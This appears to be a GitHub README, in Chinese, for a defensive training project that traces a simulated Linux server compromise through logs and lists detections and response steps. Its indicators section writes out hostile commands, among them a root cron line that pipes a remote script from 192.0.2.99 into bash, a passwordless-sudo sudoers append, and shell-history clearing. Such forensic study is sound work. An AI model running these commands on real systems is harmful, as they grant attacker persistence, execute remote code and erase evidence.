MechanicusSec/Linux-Security-Log-Incident-Response
GitHub: MechanicusSec/Linux-Security-Log-Incident-Response
一个防御性 Linux 安全日志应急响应实战项目,通过分析 SSH 入侵、提权、持久化及疑似数据泄露的完整攻击链,帮助安全从业者掌握日志审查与事件调查技能。
Stars: 0 | Forks: 0
# Linux 安全日志应急响应
## 概述
本项目是一项实用的 Linux 安全日志调查,重点在于检测、分析和记录完整的服务器入侵过程。
本次调查使用了一台名为 `webserver01` 的 Linux Web 服务器提供的身份验证、sudo、用户管理、cron、审计和防火墙日志。
本项目遵循应急响应工作流:
```
Detect
→ Investigate
→ Correlate
→ Classify
→ Contain
→ Eradicate
→ Recover
→ Document
```
## 项目目标
本项目的目标是:
- 学习如何阅读 Linux 安全日志
- 区分正常的管理员活动与可疑行为
- 识别 SSH 凭据攻击
- 确认账户被入侵
- 追踪到 root 的权限提升
- 识别账户和 cron 持久化
- 分析外部网络活动
- 评估可能的数据泄露
- 识别反取证活动
- 构建事件时间线
- 创建检测逻辑
- 对事件严重性进行分类
- 建议遏制、根除和恢复措施
- 生成专业的最终应急响应报告
## 场景
一台 Linux Web 服务器遭到了反复的 SSH 密码尝试攻击。
攻击者:
1. 从单一源 IP 测试了多个用户名
2. 入侵了合法的 `backup` 账户
3. 通过 `sudo` 将权限提升至 root
4. 创建了一个名为 `sysupdate` 的新特权用户
5. 授予该新账户无限制的免密 sudo 权限
6. 添加了一个 root cron 任务,不断下载并执行远程脚本
7. 创建了一个包含 Web 和 Nginx 数据的隐藏归档文件
8. 与外部目的地址进行了通信
9. 清除了 shell 历史记录
10. 随后利用持久化账户再次返回
## 总体事件分类
```
Severity: Critical
Confidence: High
Incident Type: Linux Server Compromise
```
## 关键发现
### 初始访问
日志显示出现了多次来自以下地址的 SSH 密码失败:
```
198.51.100.23
```
攻击者测试了多个用户名,随后将目标锁定在合法账户上:
```
backup
```
在多次失败之后,紧接着发生了一次成功的密码登录。
### 权限提升
被入侵的 `backup` 账户使用 `sudo` 启动了:
```
/bin/bash
```
日志确认已开启了一个 root 会话。
### 持久化
攻击者创建了:
```
sysupdate
```
该账户被赋予了:
- 一个密码
- 一个交互式 shell
- `sudo` 组成员资格
- 无限制的 `NOPASSWD:ALL` sudo 访问权限
攻击者还在 root 的 crontab 中添加了:
```
*/10 * * * * curl -s http://192.0.2.99/update.sh | bash
```
### 数据暂存
攻击者创建了:
```
/tmp/.cache_bkp.tar.gz
```
其中包含:
```
/var/www/html
/etc/nginx
```
### 网络活动
被入侵的服务器与以下地址进行了通信:
```
192.0.2.99
```
在归档文件创建后不久,便出现了包含 payload 的出站流量。
证据支持:
```
Possible data exfiltration
```
归档文件传输本身并未得到直接证实。
### 反取证
攻击者清除了:
```
/home/backup/.bash_history
```
并执行了:
```
history -c
```
### 持久化利用
攻击者随后使用以下方式成功通过了身份验证:
```
sysupdate
```
该请求源自最初的可疑源 IP。
## 事件链
```
SSH credential attack
→ backup account compromise
→ root privilege escalation
→ sysupdate account persistence
→ passwordless sudo
→ malicious root cron execution
→ sensitive data staging
→ possible exfiltration
→ anti-forensics
→ persistence account reuse
```
## 项目结构
```
Linux-Security-Log-Incident-Response/
├── analysis/
│ ├── log-overview.md
│ ├── authentication-analysis.md
│ ├── privilege-escalation-analysis.md
│ ├── persistence-analysis.md
│ ├── network-and-exfiltration-analysis.md
│ ├── incident-timeline.md
│ ├── detection-logic.md
│ ├── incident-classification.md
│ └── response-recommendations.md
├── logs/
│ ├── authentication.log
│ └── system-and-network.log
├── report/
│ └── final-incident-response-report.md
├── screenshots/
├── sources/
│ └── source-register.md
├── logbook.md
└── README.md
```
## 分析文件
### `analysis/log-overview.md`
解释了 Linux 日志行的结构,并将正常活动与可疑的身份验证事件进行了对比。
### `analysis/authentication-analysis.md`
记录了 SSH 凭据攻击、`backup` 账户的入侵,以及后来对 `sysupdate` 的使用。
### `analysis/privilege-escalation-analysis.md`
记录了 sudo 权限的发现以及已确认的 root shell。
### `analysis/persistence-analysis.md`
记录了 `sysupdate` 账户、免密 sudo、root cron 持久化,以及随后对攻击者创建的账户的再次利用。
### `analysis/network-and-exfiltration-analysis.md`
记录了出站通信、隐藏归档文件的创建,以及对可能的数据泄露的评估。
### `analysis/incident-timeline.md`
按时间顺序展示了主要事件。
### `analysis/detection-logic.md`
包含十二项建议的检测项,涵盖:
- SSH 失败
- 从失败到成功的身份验证
- Root shell 创建
- 特权账户创建
- Sudo 策略修改
- 恶意 cron 活动
- 敏感归档文件创建
- 出站通信
- 可能的数据泄露
- Shell 历史记录清除
- 持久化利用
### `analysis/incident-classification.md`
为主要事件分配严重性级别,并将总体事件归类为严重。
### `analysis/response-recommendations.md`
提供遏制、根除、恢复、验证和长期预防的建议。
## 最终报告
已完成的最终报告位于:
```
report/final-incident-response-report.md
```
该报告包括:
- 执行摘要
- 范围
- 已审查证据
- 事件分类
- 受影响资产
- 时间线
- 技术发现
- 入侵指标
- 影响评估
- 检测机会
- 响应建议
- 证据局限性
- 最终结论
## 入侵指标
### IP 地址
```
198.51.100.23
192.0.2.99
```
### 账户
```
backup
sysupdate
```
### 文件和 URL
```
/tmp/.cache_bkp.tar.gz
http://192.0.2.99/update.sh
```
### 可疑命令
```
sudo /bin/bash
usermod -aG sudo sysupdate
echo 'sysupdate ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
curl -s http://192.0.2.99/update.sh | bash
echo > /home/backup/.bash_history
history -c
```
## 展示技能
本项目展示了对以下方面的实际知识:
- Linux 日志分析
- SSH 身份验证审查
- 暴力破解和凭据攻击检测
- 权限提升分析
- Linux 账户和组审计
- Sudo 策略审查
- Cron 持久化检测
- 审计日志解读
- 防火墙日志解读
- TCP flag 分析
- 数据暂存分析
- 数据泄露评估
- 反取证检测
- 事件时间线创建
- 严重性分类
- 检测工程
- 事件遏制
- 根除计划
- 恢复计划
- 技术报告撰写
## 证据局限性
提供的日志在 cron 创建和某些 cron 执行事件之间存在时间戳不一致的情况。
本项目保留了这一局限性,而不是静默地更正它。
日志也没有直接证明隐藏的归档文件被传输过。
因此:
```
Data staging: Confirmed
Archive exfiltration: Suspected
```
这些证据似乎是受控的培训材料,而不是实际的生产数据。
## 道德和法律范围
本项目是一项防御性日志分析练习。
未执行任何主动攻击、扫描或利用操作。
本工作仅限于:
- 审查提供的日志
- 重构事件
- 创建防御性检测
- 建议应急响应行动
- 记录发现
## 项目状态
| 组件 | 状态 |
|---|---|
| 添加原始日志 | 已完成 |
| 日志概述 | 已完成 |
| 身份验证分析 | 已完成 |
| 权限提升分析 | 已完成 |
| 持久化分析 | 已完成 |
| 网络和泄露分析 | 已完成 |
| 事件时间线 | 已完成 |
| 检测逻辑 | 已完成 |
| 事件分类 | 已完成 |
| 响应建议 | 已完成 |
| 来源登记表 | 已完成 |
| 最终报告 | 已完成 |
| 日志簿 | 待定 |
| PDF 导出 | 待定 |
| GitHub commit 和 push | 待定 |
## 作者
```
Vulkan
```
## 代码库
```
Linux-Security-Log-Incident-Response
```
标签:内存分配, 取证, 安全运营, 库, 应急响应, 扫描框架, 防御加固